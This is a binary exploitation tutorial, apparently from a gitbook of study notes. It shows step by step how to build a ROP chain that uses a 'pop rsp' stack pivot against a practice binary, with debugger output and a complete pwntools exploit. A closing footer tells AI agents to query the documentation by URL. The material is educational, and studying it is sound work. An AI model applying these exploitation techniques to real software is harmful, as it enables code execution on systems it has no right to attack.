# pop rsp

## Exploitation

### Gadgets

FIrst off, let's grab all the gadgets. I'll use `ROPgadget` again to do so:

```
$ ROPgadget --binary vuln | grep 'pop rsp'
0x0000000000401225 : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret

$ ROPgadget --binary vuln | grep 'pop rdi'
0x000000000040122b : pop rdi ; ret

$ ROPgadget --binary vuln | grep 'pop rsi'
0x0000000000401229 : pop rsi ; pop r15 ; ret
```

Now we have all the gadgets, let's chuck them into the script:

```python
POP_CHAIN = 0x401225                   # RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
```

### Testing the pop

Let's just make sure the `pop` works by sending a basic chain and then breaking on `ret` and stepping through.

```python
payload = flat(
    'A' * 104,
    POP_CHAIN,
    buffer,
    0,            # r13
    0,            # r14
    0             # r15
)

pause()
p.sendline(payload)
print(p.recvline())
```

If you're careful, you may notice the mistake here, but I'll point it out in a sec. Send it off, attach r2.

```
$r2 -d -A $(pidof vuln)

[0x7f96f01e9dee]> db 0x004011b8
[0x7f96f01e9dee]> dc
hit breakpoint at: 4011b8
[0x004011b8]> pxq @ rsp
0x7ffce2d4fc68  0x0000000000401225  0x00007ffce2d4fc00
0x7ffce2d4fc78  0x0000000000000000  0x00007ffce2d4fd68
```

You may see that only the gadget + 2 more values were written; this is because our buffer length is **limited**, and this is the reason we need to stack pivot. Let's step through the first `pop`.

```
[0x004011b8]> ds
[0x00401225]> ds
[0x00401226]> dr rsp
0x7ffce2d4fc00
```

You may notice it's the same as our "leaked" value, so it's working. Now let's try and pop the `0x0` into `r13`.

```
[0x00401226]> ds
[0x00401228]> dr r13
0x4141414141414141
```

What? We passed in `0x0` to the gadget!

Remember, however, that `pop r13` is equivalent to `mov r13, [rsp]` - the value from the top of the stack is moved into `r13`. **Because we moved RSP, the top of the stack moved to our buffer** and `AAAAAAAA` was popped into it - because that's what the top of the stack points to now.

### Full Payload

Now we understand the intricasies of the pop, let's just finish the exploit off. To account for the additional `pop` calls, we have to put some junk at the **beginning** of the buffer, before we put in the ropchain.

```python
payload = flat(
    0,                 # r13
    0,                 # r14
    0,                 # r15
    POP_RDI,
    0xdeadbeef,
    POP_RSI_R15,
    0xdeadc0de,
    0x0,               # r15
    elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

payload += flat(
    POP_CHAIN,
    buffer             # rsp - now stack points to our buffer!
)
```

## Final Exploit

```python
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225                   # RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
    0,                 # r13
    0,                 # r14
    0,                 # r15
    POP_RDI,
    0xdeadbeef,
    POP_RSI_R15,
    0xdeadc0de,
    0x0,               # r15
    elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

payload += flat(
    POP_CHAIN,
    buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ir0nstone.gitbook.io/notes/binexp/stack/stack-pivoting/exploitation/pop-rsp.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.